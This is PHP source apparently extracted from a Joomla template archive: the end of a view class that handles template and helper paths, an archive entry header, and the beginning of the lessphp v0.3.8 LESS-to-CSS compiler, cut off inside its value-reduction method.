        * @param   string  $hlp  The name of the helper source file automatically searches the helper paths and compiles as needed.
        *
        * @return  void
        *
        * @since   11.1
        */
        public function loadHelper($hlp = null)
        {
            // Clean the file name
            $file = preg_replace('/[^A-Z0-9_\.-]/i', '', $hlp);

            // Load the template script
            jimport('joomla.filesystem.path');
            $helper = JPath::find($this->_path['helper'], $this->_createFileName('helper', array('name' => $file)));

            if ($helper != false)
            {
                // Include the requested template filename in the local scope
                include_once $helper;
            }
        }

        /**
        * Sets an entire array of search paths for templates or resources.
        *
        * @param   string  $type  The type of path to set, typically 'template'.
        * @param   mixed   $path  The new search path, or an array of search paths.  If null or false, resets to the current directory only.
        *
        * @return  void
        *
        * @since   11.1
        */
        protected function _setPath($type, $path)
        {
            $component = JApplicationHelper::getComponentName();
            $app = JFactory::getApplication();

            // Clear out the prior search dirs
            $this->_path[$type] = array();

            // Actually add the user-specified directories
            $this->_addPath($type, $path);

            // Always add the fallback directories as last resort
            switch (strtolower($type))
            {
                case 'template':
                    // Set the alternative template search dir
                    if (isset($app))
                    {
                        $component = preg_replace('/[^A-Z0-9_\.-]/i', '', $component);
                        $fallback = JPATH_THEMES . '/' . $app->getTemplate() . '/html/' . $component . '/' . $this->getName();
                        
                        $this->_addPath('template', Helix::frameworkPath().'/html/' . $component . '/' . $this->getName());
                        $this->_addPath('template', $fallback);
                    }
                    break;
            }
        }

        /**
        * Adds to the search path for templates and resources.
        *
        * @param   string  $type  The type of path to add.
        * @param   mixed   $path  The directory or stream, or an array of either, to search.
        *
        * @return  void
        *
        * @since   11.1
        */
        protected function _addPath($type, $path)
        {
            // Just force to array
            settype($path, 'array');

            // Loop through the path directories
            foreach ($path as $dir)
            {
                // no surrounding spaces allowed!
                $dir = trim($dir);

                // Add trailing separators as needed
                if (substr($dir, -1) != DIRECTORY_SEPARATOR)
                {
                    // Directory
                    $dir .= DIRECTORY_SEPARATOR;
                }

                // Add to the top of the search dirs
                array_unshift($this->_path[$type], $dir);
            }
        }

        /**
        * Create the filename for a resource
        *
        * @param   string  $type   The resource type to create the filename for
        * @param   array   $parts  An associative array of filename information
        *
        * @return  string  The filename
        *
        * @since   11.1
        */
        protected function _createFileName($type, $parts = array())
        {
            $filename = '';

            switch ($type)
            {
                case 'template':
                    $filename = strtolower($parts['name']) . '.' . $this->_layoutExt;
                    break;

                default:
                    $filename = strtolower($parts['name']) . '.php';
                    break;
            }
            return $filename;
        }
    }
PK!��A9I9I%bluejoomla/core/classes/lessc.inc.phpnu&1i�<?php

/**
 * lessphp v0.3.8
 * http://leafo.net/lessphp
 *
 * LESS css compiler, adapted from http://lesscss.org
 *
 * Copyright 2012, Leaf Corcoran <leafot@gmail.com>
 * Licensed under MIT or GPLv3, see LICENSE
 */


/**
 * The less compiler and parser.
 *
 * Converting LESS to CSS is a three stage process. The incoming file is parsed
 * by `lessc_parser` into a syntax tree, then it is compiled into another tree
 * representing the CSS structure by `lessc`. The CSS tree is fed into a
 * formatter, like `lessc_formatter` which then outputs CSS as a string.
 *
 * During the first compile, all values are *reduced*, which means that their
 * types are brought to the lowest form before being dump as strings. This
 * handles math equations, variable dereferences, and the like.
 *
 * The `parse` function of `lessc` is the entry point.
 *
 * In summary:
 *
 * The `lessc` class creates an intstance of the parser, feeds it LESS code,
 * then transforms the resulting tree to a CSS tree. This class also holds the
 * evaluation context, such as all available mixins and variables at any given
 * time.
 *
 * The `lessc_parser` class is only concerned with parsing its input.
 *
 * The `lessc_formatter` takes a CSS tree, and dumps it to a formatted string,
 * handling things like indentation.
 */
class lessc {
	static public $VERSION = "v0.3.8";
	static protected $TRUE = array("keyword", "true");
	static protected $FALSE = array("keyword", "false");

	protected $libFunctions = array();
	protected $registeredVars = array();
	protected $preserveComments = false;

	public $vPrefix = '@'; // prefix of abstract properties
	public $mPrefix = '$'; // prefix of abstract blocks
	public $parentSelector = '&';

	public $importDisabled = false;
	public $importDir = '';

	protected $numberPrecision = null;

	// set to the parser that generated the current line when compiling
	// so we know how to create error messages
	protected $sourceParser = null;
	protected $sourceLoc = null;

	static public $defaultValue = array("keyword", "");

	static protected $nextImportId = 0; // uniquely identify imports

	// attempts to find the path of an import url, returns null for css files
	protected function findImport($url) {
		foreach ((array)$this->importDir as $dir) {
			$full = $dir.(substr($dir, -1) != '/' ? '/' : '').$url;
			if ($this->fileExists($file = $full.'.less') || $this->fileExists($file = $full)) {
				return $file;
			}
		}

		return null;
	}

	protected function fileExists($name) {
		return is_file($name);
	}

	static public function compressList($items, $delim) {
		if (!isset($items[1]) && isset($items[0])) return $items[0];
		else return array('list', $delim, $items);
	}

	static public function preg_quote($what) {
		return preg_quote($what, '/');
	}

	protected function tryImport($importPath, $parentBlock, $out) {
		if ($importPath[0] == "function" && $importPath[1] == "url") {
			$importPath = $this->flattenList($importPath[2]);
		}

		$str = $this->coerceString($importPath);
		if ($str === null) return false;

		$url = $this->compileValue($this->lib_e($str));

		// don't import if it ends in css
		if (substr_compare($url, '.css', -4, 4) === 0) return false;

		$realPath = $this->findImport($url);
		if ($realPath === null) return false;

		if ($this->importDisabled) {
			return array(false, "/* import disabled */");
		}

		$this->addParsedFile($realPath);
		$parser = $this->makeParser($realPath);
		$root = $parser->parse(file_get_contents($realPath));

		// set the parents of all the block props
		foreach ($root->props as $prop) {
			if ($prop[0] == "block") {
				$prop[1]->parent = $parentBlock;
			}
		}

		// copy mixins into scope, set their parents
		// bring blocks from import into current block
		// TODO: need to mark the source parser	these came from this file
		foreach ($root->children as $childName => $child) {
			if (isset($parentBlock->children[$childName])) {
				$parentBlock->children[$childName] = array_merge(
					$parentBlock->children[$childName],
					$child);
			} else {
				$parentBlock->children[$childName] = $child;
			}
		}

		$pi = pathinfo($realPath);
		$dir = $pi["dirname"];

		list($top, $bottom) = $this->sortProps($root->props, true);
		$this->compileImportedProps($top, $parentBlock, $out, $parser, $dir);

		return array(true, $bottom, $parser, $dir);
	}

	protected function compileImportedProps($props, $block, $out, $sourceParser, $importDir) {
		$oldSourceParser = $this->sourceParser;

		$oldImport = $this->importDir;

		// TODO: this is because the importDir api is stupid
		$this->importDir = (array)$this->importDir;
		array_unshift($this->importDir, $importDir);

		foreach ($props as $prop) {
			$this->compileProp($prop, $block, $out);
		}

		$this->importDir = $oldImport;
		$this->sourceParser = $oldSourceParser;
	}

	/**
	 * Recursively compiles a block.
	 *
	 * A block is analogous to a CSS block in most cases. A single LESS document
	 * is encapsulated in a block when parsed, but it does not have parent tags
	 * so all of it's children appear on the root level when compiled.
	 *
	 * Blocks are made up of props and children.
	 *
	 * Props are property instructions, array tuples which describe an action
	 * to be taken, eg. write a property, set a variable, mixin a block.
	 *
	 * The children of a block are just all the blocks that are defined within.
	 * This is used to look up mixins when performing a mixin.
	 *
	 * Compiling the block involves pushing a fresh environment on the stack,
	 * and iterating through the props, compiling each one.
	 *
	 * See lessc::compileProp()
	 *
	 */
	protected function compileBlock($block) {
		switch ($block->type) {
		case "root":
			$this->compileRoot($block);
			break;
		case null:
			$this->compileCSSBlock($block);
			break;
		case "media":
			$this->compileMedia($block);
			break;
		case "directive":
			$name = "@" . $block->name;
			if (!empty($block->value)) {
				$name .= " " . $this->compileValue($this->reduce($block->value));
			}

			$this->compileNestedBlock($block, array($name));
			break;
		default:
			$this->throwError("unknown block type: $block->type\n");
		}
	}

	protected function compileCSSBlock($block) {
		$env = $this->pushEnv();

		$selectors = $this->compileSelectors($block->tags);
		$env->selectors = $this->multiplySelectors($selectors);
		$out = $this->makeOutputBlock(null, $env->selectors);

		$this->scope->children[] = $out;
		$this->compileProps($block, $out);

		$block->scope = $env; // mixins carry scope with them!
		$this->popEnv();
	}

	protected function compileMedia($media) {
		$env = $this->pushEnv($media);
		$parentScope = $this->mediaParent($this->scope);

		$query = $this->compileMediaQuery($this->multiplyMedia($env));

		$this->scope = $this->makeOutputBlock($media->type, array($query));
		$parentScope->children[] = $this->scope;

		$this->compileProps($media, $this->scope);

		if (count($this->scope->lines) > 0) {
			$orphanSelelectors = $this->findClosestSelectors();
			if (!is_null($orphanSelelectors)) {
				$orphan = $this->makeOutputBlock(null, $orphanSelelectors);
				$orphan->lines = $this->scope->lines;
				array_unshift($this->scope->children, $orphan);
				$this->scope->lines = array();
			}
		}

		$this->scope = $this->scope->parent;
		$this->popEnv();
	}

	protected function mediaParent($scope) {
		while (!empty($scope->parent)) {
			if (!empty($scope->type) && $scope->type != "media") {
				break;
			}
			$scope = $scope->parent;
		}

		return $scope;
	}

	protected function compileNestedBlock($block, $selectors) {
		$this->pushEnv($block);
		$this->scope = $this->makeOutputBlock($block->type, $selectors);
		$this->scope->parent->children[] = $this->scope;

		$this->compileProps($block, $this->scope);

		$this->scope = $this->scope->parent;
		$this->popEnv();
	}

	protected function compileRoot($root) {
		$this->pushEnv();
		$this->scope = $this->makeOutputBlock($root->type);
		$this->compileProps($root, $this->scope);
		$this->popEnv();
	}

	protected function compileProps($block, $out) {
		foreach ($this->sortProps($block->props) as $prop) {
			$this->compileProp($prop, $block, $out);
		}
	}

	protected function sortProps($props, $split = false) {
		$vars = array();
		$imports = array();
		$other = array();

		foreach ($props as $prop) {
			switch ($prop[0]) {
			case "assign":
				if (isset($prop[1][0]) && $prop[1][0] == $this->vPrefix) {
					$vars[] = $prop;
				} else {
					$other[] = $prop;
				}
				break;
			case "import":
				$id = self::$nextImportId++;
				$prop[] = $id;
				$imports[] = $prop;
				$other[] = array("import_mixin", $id);
				break;
			default:
				$other[] = $prop;
			}
		}

		if ($split) {
			return array(array_merge($vars, $imports), $other);
		} else {
			return array_merge($vars, $imports, $other);
		}
	}

	protected function compileMediaQuery($queries) {
		$compiledQueries = array();
		foreach ($queries as $query) {
			$parts = array();
			foreach ($query as $q) {
				switch ($q[0]) {
				case "mediaType":
					$parts[] = implode(" ", array_slice($q, 1));
					break;
				case "mediaExp":
					if (isset($q[2])) {
						$parts[] = "($q[1]: " .
							$this->compileValue($this->reduce($q[2])) . ")";
					} else {
						$parts[] = "($q[1])";
					}
					break;
				}
			}

			if (count($parts) > 0) {
				$compiledQueries[] =  implode(" and ", $parts);
			}
		}

		$out = "@media";
		if (!empty($parts)) {
			$out .= " " .
				implode($this->formatter->selectorSeparator, $compiledQueries);
		}
		return $out;
	}

	protected function multiplyMedia($env, $childQueries = null) {
		if (is_null($env) ||
			!empty($env->block->type) && $env->block->type != "media")
		{
			return $childQueries;
		}

		// plain old block, skip
		if (empty($env->block->type)) {
			return $this->multiplyMedia($env->parent, $childQueries);
		}

		$out = array();
		$queries = $env->block->queries;
		if (is_null($childQueries)) {
			$out = $queries;
		} else {
			foreach ($queries as $parent) {
				foreach ($childQueries as $child) {
					$out[] = array_merge($parent, $child);
				}
			}
		}

		return $this->multiplyMedia($env->parent, $out);
	}

	protected function expandParentSelectors(&$tag, $replace) {
		$parts = explode("$&$", $tag);
		$count = 0;
		foreach ($parts as &$part) {
			$part = str_replace($this->parentSelector, $replace, $part, $c);
			$count += $c;
		}
		$tag = implode($this->parentSelector, $parts);
		return $count;
	}

	protected function findClosestSelectors() {
		$env = $this->env;
		$selectors = null;
		while ($env !== null) {
			if (isset($env->selectors)) {
				$selectors = $env->selectors;
				break;
			}
			$env = $env->parent;
		}

		return $selectors;
	}


	// multiply $selectors against the nearest selectors in env
	protected function multiplySelectors($selectors) {
		// find parent selectors

		$parentSelectors = $this->findClosestSelectors();
		if (is_null($parentSelectors)) {
			// kill parent reference in top level selector
			foreach ($selectors as &$s) {
				$this->expandParentSelectors($s, "");
			}

			return $selectors;
		}

		$out = array();
		foreach ($parentSelectors as $parent) {
			foreach ($selectors as $child) {
				$count = $this->expandParentSelectors($child, $parent);

				// don't prepend the parent tag if & was used
				if ($count > 0) {
					$out[] = trim($child);
				} else {
					$out[] = trim($parent . ' ' . $child);
				}
			}
		}

		return $out;
	}

	// reduces selector expressions
	protected function compileSelectors($selectors) {
		$out = array();

		foreach ($selectors as $s) {
			if (is_array($s)) {
				list(, $value) = $s;
				$out[] = $this->compileValue($this->reduce($value));
			} else {
				$out[] = $s;
			}
		}

		return $out;
	}

	protected function eq($left, $right) {
		return $left == $right;
	}

	protected function patternMatch($block, $callingArgs) {
		// match the guards if it has them
		// any one of the groups must have all its guards pass for a match
		if (!empty($block->guards)) {
			$groupPassed = false;
			foreach ($block->guards as $guardGroup) {
				foreach ($guardGroup as $guard) {
					$this->pushEnv();
					$this->zipSetArgs($block->args, $callingArgs);

					$negate = false;
					if ($guard[0] == "negate") {
						$guard = $guard[1];
						$negate = true;
					}

					$passed = $this->reduce($guard) == self::$TRUE;
					if ($negate) $passed = !$passed;

					$this->popEnv();

					if ($passed) {
						$groupPassed = true;
					} else {
						$groupPassed = false;
						break;
					}
				}

				if ($groupPassed) break;
			}

			if (!$groupPassed) {
				return false;
			}
		}

		$numCalling = count($callingArgs);

		if (empty($block->args)) {
			return $block->isVararg || $numCalling == 0;
		}

		$i = -1; // no args
		// try to match by arity or by argument literal
		foreach ($block->args as $i => $arg) {
			switch ($arg[0]) {
			case "lit":
				if (empty($callingArgs[$i]) || !$this->eq($arg[1], $callingArgs[$i])) {
					return false;
				}
				break;
			case "arg":
				// no arg and no default value
				if (!isset($callingArgs[$i]) && !isset($arg[2])) {
					return false;
				}
				break;
			case "rest":
				$i--; // rest can be empty
				break 2;
			}
		}

		if ($block->isVararg) {
			return true; // not having enough is handled above
		} else {
			$numMatched = $i + 1;
			// greater than becuase default values always match
			return $numMatched >= $numCalling;
		}
	}

	protected function patternMatchAll($blocks, $callingArgs) {
		$matches = null;
		foreach ($blocks as $block) {
			if ($this->patternMatch($block, $callingArgs)) {
				$matches[] = $block;
			}
		}

		return $matches;
	}

	// attempt to find blocks matched by path and args
	protected function findBlocks($searchIn, $path, $args, $seen=array()) {
		if ($searchIn == null) return null;
		if (isset($seen[$searchIn->id])) return null;
		$seen[$searchIn->id] = true;

		$name = $path[0];

		if (isset($searchIn->children[$name])) {
			$blocks = $searchIn->children[$name];
			if (count($path) == 1) {
				$matches = $this->patternMatchAll($blocks, $args);
				if (!empty($matches)) {
					// This will return all blocks that match in the closest
					// scope that has any matching block, like lessjs
					return $matches;
				}
			} else {
				$matches = array();
				foreach ($blocks as $subBlock) {
					$subMatches = $this->findBlocks($subBlock,
						array_slice($path, 1), $args, $seen);

					if (!is_null($subMatches)) {
						foreach ($subMatches as $sm) {
							$matches[] = $sm;
						}
					}
				}

				return count($matches) > 0 ? $matches : null;
			}
		}

		if ($searchIn->parent === $searchIn) return null;
		return $this->findBlocks($searchIn->parent, $path, $args, $seen);
	}

	// sets all argument names in $args to either the default value
	// or the one passed in through $values
	protected function zipSetArgs($args, $values) {
		$i = 0;
		$assignedValues = array();
		foreach ($args as $a) {
			if ($a[0] == "arg") {
				if ($i < count($values) && !is_null($values[$i])) {
					$value = $values[$i];
				} elseif (isset($a[2])) {
					$value = $a[2];
				} else $value = null;

				$value = $this->reduce($value);
				$this->set($a[1], $value);
				$assignedValues[] = $value;
			}
			$i++;
		}

		// check for a rest
		$last = end($args);
		if ($last[0] == "rest") {
			$rest = array_slice($values, count($args) - 1);
			$this->set($last[1], $this->reduce(array("list", " ", $rest)));
		}

		$this->env->arguments = $assignedValues;
	}

	// compile a prop and update $lines or $blocks appropriately
	protected function compileProp($prop, $block, $out) {
		// set error position context
		$this->sourceLoc = isset($prop[-1]) ? $prop[-1] : -1;

		switch ($prop[0]) {
		case 'assign':
			list(, $name, $value) = $prop;
			if ($name[0] == $this->vPrefix) {
				$this->set($name, $value);
			} else {
				$out->lines[] = $this->formatter->property($name,
						$this->compileValue($this->reduce($value)));
			}
			break;
		case 'block':
			list(, $child) = $prop;
			$this->compileBlock($child);
			break;
		case 'mixin':
			list(, $path, $args, $suffix) = $prop;

			$args = array_map(array($this, "reduce"), (array)$args);
			$mixins = $this->findBlocks($block, $path, $args);

			if ($mixins === null) {
				// fwrite(STDERR,"failed to find block: ".implode(" > ", $path)."\n");
				break; // throw error here??
			}

			foreach ($mixins as $mixin) {
				$haveScope = false;
				if (isset($mixin->parent->scope)) {
					$haveScope = true;
					$mixinParentEnv = $this->pushEnv();
					$mixinParentEnv->storeParent = $mixin->parent->scope;
				}

				$haveArgs = false;
				if (isset($mixin->args)) {
					$haveArgs = true;
					$this->pushEnv();
					$this->zipSetArgs($mixin->args, $args);
				}

				$oldParent = $mixin->parent;
				if ($mixin != $block) $mixin->parent = $block;

				foreach ($this->sortProps($mixin->props) as $subProp) {
					if ($suffix !== null &&
						$subProp[0] == "assign" &&
						is_string($subProp[1]) &&
						$subProp[1]{0} != $this->vPrefix)
					{
						$subProp[2] = array(
							'list', ' ',
							array($subProp[2], array('keyword', $suffix))
						);
					}

					$this->compileProp($subProp, $mixin, $out);
				}

				$mixin->parent = $oldParent;

				if ($haveArgs) $this->popEnv();
				if ($haveScope) $this->popEnv();
			}

			break;
		case 'raw':
			$out->lines[] = $prop[1];
			break;
		case "directive":
			list(, $name, $value) = $prop;
			$out->lines[] = "@$name " . $this->compileValue($this->reduce($value)).';';
			break;
		case "comment":
			$out->lines[] = $prop[1];
			break;
		case "import";
			list(, $importPath, $importId) = $prop;
			$importPath = $this->reduce($importPath);

			if (!isset($this->env->imports)) {
				$this->env->imports = array();
			}

			$result = $this->tryImport($importPath, $block, $out);

			$this->env->imports[$importId] = $result === false ?
				array(false, "@import " . $this->compileValue($importPath).";") :
				$result;

			break;
		case "import_mixin":
			list(,$importId) = $prop;
			$import = $this->env->imports[$importId];
			if ($import[0] === false) {
				$out->lines[] = $import[1];
			} else {
				list(, $bottom, $parser, $importDir) = $import;
				$this->compileImportedProps($bottom, $block, $out, $parser, $importDir);
			}

			break;
		default:
			$this->throwError("unknown op: {$prop[0]}\n");
		}
	}


	/**
	 * Compiles a primitive value into a CSS property value.
	 *
	 * Values in lessphp are typed by being wrapped in arrays, their format is
	 * typically:
	 *
	 *     array(type, contents [, additional_contents]*)
	 *
	 * The input is expected to be reduced. This function will not work on
	 * things like expressions and variables.
	 */
	protected function compileValue($value) {
		switch ($value[0]) {
		case 'list':
			// [1] - delimiter
			// [2] - array of values
			return implode($value[1], array_map(array($this, 'compileValue'), $value[2]));
		case 'raw_color':
			if (!empty($this->formatter->compressColors)) {
				return $this->compileValue($this->coerceColor($value));
			}
			return $value[1];
		case 'keyword':
			// [1] - the keyword
			return $value[1];
		case 'number':
			list(, $num, $unit) = $value;
			// [1] - the number
			// [2] - the unit
			if ($this->numberPrecision !== null) {
				$num = round($num, $this->numberPrecision);
			}
			return $num . $unit;
		case 'string':
			// [1] - contents of string (includes quotes)
			list(, $delim, $content) = $value;
			foreach ($content as &$part) {
				if (is_array($part)) {
					$part = $this->compileValue($part);
				}
			}
			return $delim . implode($content) . $delim;
		case 'color':
			// [1] - red component (either number or a %)
			// [2] - green component
			// [3] - blue component
			// [4] - optional alpha component
			list(, $r, $g, $b) = $value;
			$r = round($r);
			$g = round($g);
			$b = round($b);

			if (count($value) == 5 && $value[4] != 1) { // rgba
				return 'rgba('.$r.','.$g.','.$b.','.$value[4].')';
			}

			$h = sprintf("#%02x%02x%02x", $r, $g, $b);

			if (!empty($this->formatter->compressColors)) {
				// Converting hex color to short notation (e.g. #003399 to #039)
				if ($h[1] === $h[2] && $h[3] === $h[4] && $h[5] === $h[6]) {
					$h = '#' . $h[1] . $h[3] . $h[5];
				}
			}

			return $h;

		case 'function':
			list(, $name, $args) = $value;
			return $name.'('.$this->compileValue($args).')';
		default: // assumed to be unit
			$this->throwError("unknown value type: $value[0]");
		}
	}

	protected function lib_isnumber($value) {
		return $this->toBool($value[0] == "number");
	}

	protected function lib_isstring($value) {
		return $this->toBool($value[0] == "string");
	}

	protected function lib_iscolor($value) {
		return $this->toBool($this->coerceColor($value));
	}

	protected function lib_iskeyword($value) {
		return $this->toBool($value[0] == "keyword");
	}

	protected function lib_ispixel($value) {
		return $this->toBool($value[0] == "number" && $value[2] == "px");
	}

	protected function lib_ispercentage($value) {
		return $this->toBool($value[0] == "number" && $value[2] == "%");
	}

	protected function lib_isem($value) {
		return $this->toBool($value[0] == "number" && $value[2] == "em");
	}

	protected function lib_rgbahex($color) {
		$color = $this->coerceColor($color);
		if (is_null($color))
			$this->throwError("color expected for rgbahex");

		return sprintf("#%02x%02x%02x%02x",
			isset($color[4]) ? $color[4]*255 : 255,
			$color[1],$color[2], $color[3]);
	}

	protected function lib_argb($color){
		return $this->lib_rgbahex($color);
	}

	// utility func to unquote a string
	protected function lib_e($arg) {
		switch ($arg[0]) {
			case "list":
				$items = $arg[2];
				if (isset($items[0])) {
					return $this->lib_e($items[0]);
				}
				return self::$defaultValue;
			case "string":
				$arg[1] = "";
				return $arg;
			case "keyword":
				return $arg;
			default:
				return array("keyword", $this->compileValue($arg));
		}
	}

	protected function lib__sprintf($args) {
		if ($args[0] != "list") return $args;
		$values = $args[2];
		$string = array_shift($values);
		$template = $this->compileValue($this->lib_e($string));

		$i = 0;
		if (preg_match_all('/%[dsa]/', $template, $m)) {
			foreach ($m[0] as $match) {
				$val = isset($values[$i]) ?
					$this->reduce($values[$i]) : array('keyword', '');

				// lessjs compat, renders fully expanded color, not raw color
				if ($color = $this->coerceColor($val)) {
					$val = $color;
				}

				$i++;
				$rep = $this->compileValue($this->lib_e($val));
				$template = preg_replace('/'.self::preg_quote($match).'/',
					$rep, $template, 1);
			}
		}

		$d = $string[0] == "string" ? $string[1] : '"';
		return array("string", $d, array($template));
	}

	protected function lib_floor($arg) {
		$value = $this->assertNumber($arg);
		return array("number", floor($value), $arg[2]);
	}

	protected function lib_ceil($arg) {
		$value = $this->assertNumber($arg);
		return array("number", ceil($value), $arg[2]);
	}

	protected function lib_round($arg) {
		$value = $this->assertNumber($arg);
		return array("number", round($value), $arg[2]);
	}

	/**
	 * Helper function to get arguments for color manipulation functions.
	 * takes a list that contains a color like thing and a percentage
	 */
	protected function colorArgs($args) {
		if ($args[0] != 'list' || count($args[2]) < 2) {
			return array(array('color', 0, 0, 0), 0);
		}
		list($color, $delta) = $args[2];
		$color = $this->assertColor($color);
		$delta = floatval($delta[1]);

		return array($color, $delta);
	}

	protected function lib_darken($args) {
		list($color, $delta) = $this->colorArgs($args);

		$hsl = $this->toHSL($color);
		$hsl[3] = $this->clamp($hsl[3] - $delta, 100);
		return $this->toRGB($hsl);
	}

	protected function lib_lighten($args) {
		list($color, $delta) = $this->colorArgs($args);

		$hsl = $this->toHSL($color);
		$hsl[3] = $this->clamp($hsl[3] + $delta, 100);
		return $this->toRGB($hsl);
	}

	protected function lib_saturate($args) {
		list($color, $delta) = $this->colorArgs($args);

		$hsl = $this->toHSL($color);
		$hsl[2] = $this->clamp($hsl[2] + $delta, 100);
		return $this->toRGB($hsl);
	}

	protected function lib_desaturate($args) {
		list($color, $delta) = $this->colorArgs($args);

		$hsl = $this->toHSL($color);
		$hsl[2] = $this->clamp($hsl[2] - $delta, 100);
		return $this->toRGB($hsl);
	}

	protected function lib_spin($args) {
		list($color, $delta) = $this->colorArgs($args);

		$hsl = $this->toHSL($color);

		$hsl[1] = $hsl[1] + $delta % 360;
		if ($hsl[1] < 0) $hsl[1] += 360;

		return $this->toRGB($hsl);
	}

	protected function lib_fadeout($args) {
		list($color, $delta) = $this->colorArgs($args);
		$color[4] = $this->clamp((isset($color[4]) ? $color[4] : 1) - $delta/100);
		return $color;
	}

	protected function lib_fadein($args) {
		list($color, $delta) = $this->colorArgs($args);
		$color[4] = $this->clamp((isset($color[4]) ? $color[4] : 1) + $delta/100);
		return $color;
	}

	protected function lib_hue($color) {
		$hsl = $this->toHSL($this->assertColor($color));
		return round($hsl[1]);
	}

	protected function lib_saturation($color) {
		$hsl = $this->toHSL($this->assertColor($color));
		return round($hsl[2]);
	}

	protected function lib_lightness($color) {
		$hsl = $this->toHSL($this->assertColor($color));
		return round($hsl[3]);
	}

	// get the alpha of a color
	// defaults to 1 for non-colors or colors without an alpha
	protected function lib_alpha($value) {
		if (!is_null($color = $this->coerceColor($value))) {
			return isset($color[4]) ? $color[4] : 1;
		}
	}

	// set the alpha of the color
	protected function lib_fade($args) {
		list($color, $alpha) = $this->colorArgs($args);
		$color[4] = $this->clamp($alpha / 100.0);
		return $color;
	}

	protected function lib_percentage($arg) {
		$num = $this->assertNumber($arg);
		return array("number", $num*100, "%");
	}

	// mixes two colors by weight
	// mix(@color1, @color2, @weight);
	// http://sass-lang.com/docs/yardoc/Sass/Script/Functions.html#mix-instance_method
	protected function lib_mix($args) {
		if ($args[0] != "list" || count($args[2]) < 3)
			$this->throwError("mix expects (color1, color2, weight)");

		list($first, $second, $weight) = $args[2];
		$first = $this->assertColor($first);
		$second = $this->assertColor($second);

		$first_a = $this->lib_alpha($first);
		$second_a = $this->lib_alpha($second);
		$weight = $weight[1] / 100.0;

		$w = $weight * 2 - 1;
		$a = $first_a - $second_a;

		$w1 = (($w * $a == -1 ? $w : ($w + $a)/(1 + $w * $a)) + 1) / 2.0;
		$w2 = 1.0 - $w1;

		$new = array('color',
			$w1 * $first[1] + $w2 * $second[1],
			$w1 * $first[2] + $w2 * $second[2],
			$w1 * $first[3] + $w2 * $second[3],
		);

		if ($first_a != 1.0 || $second_a != 1.0) {
			$new[] = $first_a * $weight + $second_a * ($weight - 1);
		}

		return $this->fixColor($new);
	}

	protected function assertColor($value, $error = "expected color value") {
		$color = $this->coerceColor($value);
		if (is_null($color)) $this->throwError($error);
		return $color;
	}

	protected function assertNumber($value, $error = "expecting number") {
		if ($value[0] == "number") return $value[1];
		$this->throwError($error);
	}

	protected function toHSL($color) {
		if ($color[0] == 'hsl') return $color;

		$r = $color[1] / 255;
		$g = $color[2] / 255;
		$b = $color[3] / 255;

		$min = min($r, $g, $b);
		$max = max($r, $g, $b);

		$L = ($min + $max) / 2;
		if ($min == $max) {
			$S = $H = 0;
		} else {
			if ($L < 0.5)
				$S = ($max - $min)/($max + $min);
			else
				$S = ($max - $min)/(2.0 - $max - $min);

			if ($r == $max) $H = ($g - $b)/($max - $min);
			elseif ($g == $max) $H = 2.0 + ($b - $r)/($max - $min);
			elseif ($b == $max) $H = 4.0 + ($r - $g)/($max - $min);

		}

		$out = array('hsl',
			($H < 0 ? $H + 6 : $H)*60,
			$S*100,
			$L*100,
		);

		if (count($color) > 4) $out[] = $color[4]; // copy alpha
		return $out;
	}

	protected function toRGB_helper($comp, $temp1, $temp2) {
		if ($comp < 0) $comp += 1.0;
		elseif ($comp > 1) $comp -= 1.0;

		if (6 * $comp < 1) return $temp1 + ($temp2 - $temp1) * 6 * $comp;
		if (2 * $comp < 1) return $temp2;
		if (3 * $comp < 2) return $temp1 + ($temp2 - $temp1)*((2/3) - $comp) * 6;

		return $temp1;
	}

	/**
	 * Converts a hsl array into a color value in rgb.
	 * Expects H to be in range of 0 to 360, S and L in 0 to 100
	 */
	protected function toRGB($color) {
		if ($color == 'color') return $color;

		$H = $color[1] / 360;
		$S = $color[2] / 100;
		$L = $color[3] / 100;

		if ($S == 0) {
			$r = $g = $b = $L;
		} else {
			$temp2 = $L < 0.5 ?
				$L*(1.0 + $S) :
				$L + $S - $L * $S;

			$temp1 = 2.0 * $L - $temp2;

			$r = $this->toRGB_helper($H + 1/3, $temp1, $temp2);
			$g = $this->toRGB_helper($H, $temp1, $temp2);
			$b = $this->toRGB_helper($H - 1/3, $temp1, $temp2);
		}

		// $out = array('color', round($r*255), round($g*255), round($b*255));
		$out = array('color', $r*255, $g*255, $b*255);
		if (count($color) > 4) $out[] = $color[4]; // copy alpha
		return $out;
	}

	protected function clamp($v, $max = 1, $min = 0) {
		return min($max, max($min, $v));
	}

	/**
	 * Convert the rgb, rgba, hsl color literals of function type
	 * as returned by the parser into values of color type.
	 */
	protected function funcToColor($func) {
		$fname = $func[1];
		if ($func[2][0] != 'list') return false; // need a list of arguments
		$rawComponents = $func[2][2];

		if ($fname == 'hsl' || $fname == 'hsla') {
			$hsl = array('hsl');
			$i = 0;
			foreach ($rawComponents as $c) {
				$val = $this->reduce($c);
				$val = isset($val[1]) ? floatval($val[1]) : 0;

				if ($i == 0) $clamp = 360;
				elseif ($i < 3) $clamp = 100;
				else $clamp = 1;

				$hsl[] = $this->clamp($val, $clamp);
				$i++;
			}

			while (count($hsl) < 4) $hsl[] = 0;
			return $this->toRGB($hsl);

		} elseif ($fname == 'rgb' || $fname == 'rgba') {
			$components = array();
			$i = 1;
			foreach	($rawComponents as $c) {
				$c = $this->reduce($c);
				if ($i < 4) {
					if ($c[0] == "number" && $c[2] == "%") {
						$components[] = 255 * ($c[1] / 100);
					} else {
						$components[] = floatval($c[1]);
					}
				} elseif ($i == 4) {
					if ($c[0] == "number" && $c[2] == "%") {
						$components[] = 1.0 * ($c[1] / 100);
					} else {
						$components[] = floatval($c[1]);
					}
				} else break;

				$i++;
			}
			while (count($components) < 3) $components[] = 0;
			array_unshift($components, 'color');
			return $this->fixColor($components);
		}

		return false;
	}

	protected function reduce($value, $forExpression = false) {
		switch ($value[0]) {
		case "variable":
			$key = $value[1];
			if (is_array($key)) {
				$key = $this->reduce($key);
				$key = $this->vPrefix . $this->compileValue($this->lib_e($key));
			}

			$seen =& $this->env->seenNames;

			if (!empty($seen[$key])) {
				$this->throwError("infinite loop detected: $key");
			}

			$seen[$key] = true;
			$out = $this->reduce($this->get($key, self::$defaultValue));
			$seen[$key] = false;
			return $out;
		case "list":
			foreach ($value[2] as &$item) {
				$item = $this->reduce($item, $forExpression);
			}
			return $value;
		case "expression":
			return $this->evaluate($value);
		case "string":
			foreach ($value[2] as &$part) {
				if (is_array($part)) {
					$strip = $part[0] == "variable";
					$part = $this->reduce($part);
					if ($strip) $part = $this->lib_e($part);
				}
			}
			return $value;
		case "escape":
			list(,$inner) = $value;
			return $this->lib_e($this->reduce($inner));
